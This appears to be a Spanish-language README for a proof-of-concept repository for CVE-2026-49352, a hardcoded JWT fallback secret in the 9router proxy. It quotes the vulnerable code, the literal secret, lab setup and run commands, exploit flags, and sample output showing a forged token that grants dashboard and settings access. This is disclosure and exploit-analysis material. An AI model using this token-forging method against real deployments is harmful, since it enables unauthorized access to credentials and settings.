
PoC de explotabilidad para CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass)
CVE-2026-49352 es una vulnerabilidad en 9router, un proxy Node.js/Next.js autoalojado para herramientas de codificación con IA. El JWT de sesión del panel está firmado con un secreto obtenido de la variable de entorno JWT_SECRET, pero si esa variable no se establece, tanto el manejador de inicio de sesión como el guardia de solicitudes recurren al mismo literal hardcodeado:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
Debido a que esta cadena está comprometida en el repositorio público, no es un secreto en absoluto. Cualquier atacante puede firmar un token con él y ser tratado como un usuario autenticado del panel.
| Rango afectado | Corregido en |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
El secreto de respaldo está definido de manera idéntica en dos archivos independientes.
src/app/api/auth/login/route.js — emite el token de sesión al iniciar sesión:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — verifica el token en cada solicitud protegida:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
Que hasValidToken() tenga éxito es la única condición que se verifica antes de conceder acceso a /dashboard y a los endpoints listados en ALWAYS_PROTECTED (incluyendo /api/settings/database). No hay búsqueda de un registro de sesión ni validación de dónde provino el token: una firma válida se trata como prueba de identidad.
El bypass está confirmado y es reproducible contra una compilación del código base afectado. Con JWT_SECRET sin establecer:
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
La vulnerabilidad solo se activa cuando JWT_SECRET nunca fue establecido por el operador — el valor predeterminado para la mayoría de los despliegues rápidos / docker-run que omiten el paso de configuración de entorno. Los despliegues que establecen explícitamente JWT_SECRET a un valor aleatorio no se ven afectados, ya que SECRET se deriva una vez al cargar el módulo y nunca recurre al valor por defecto.
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| Herramienta | Versión | Notas |
|---|---|---|
| Podman | ≥ 4.0 | Se requiere podman-compose |
| Go | ≥ 1.22 | Para ejecutar el exploit localmente |
Dependencia externa de Go: github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
Espere a que la aplicación indique que está lista, luego verifique:
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
Agregue -probe para solicitar también /api/settings/database con la cookie falsificada:
go run exploit.go -target http://localhost:20128 -probe
Banderas disponibles:
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| Recurso | Enlace |
|---|---|
| Aviso | GHSA-jphh-m39h-6gwx |
| Repositorio vulnerable | decolua/9router |
| Análisis completo — artículo | return-zero.dev/posts/cve-2026-49352 |
Este repositorio está destinado únicamente a fines educativos y análisis de explotabilidad local. Todas las pruebas se realizaron contra un entorno de contenedor autoalojado. No ejecute este PoC contra sistemas que no posea o para los que no tenga autorización explícita por escrito para realizar pruebas.
| Banderín | Valor por defecto | Descripción |
|---|
-target | http://localhost:20128 | URL base de la instancia de 9router |
-secret | 9router-default-secret-change-me | Secreto JWT de respaldo a falsificar |
-ttl | 36 * 365 * 24h | Ventana de validez del token falsificado |
-probe | false | También solicitar /api/settings/database |